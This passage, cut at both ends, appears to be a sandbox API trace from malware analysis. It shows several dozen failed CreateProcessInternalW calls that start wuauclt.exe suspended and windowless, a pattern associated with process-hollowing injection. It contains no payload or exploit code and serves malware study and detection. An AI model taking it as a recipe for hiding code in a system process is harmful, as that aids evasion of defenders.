lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.597] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.598] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.599] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, 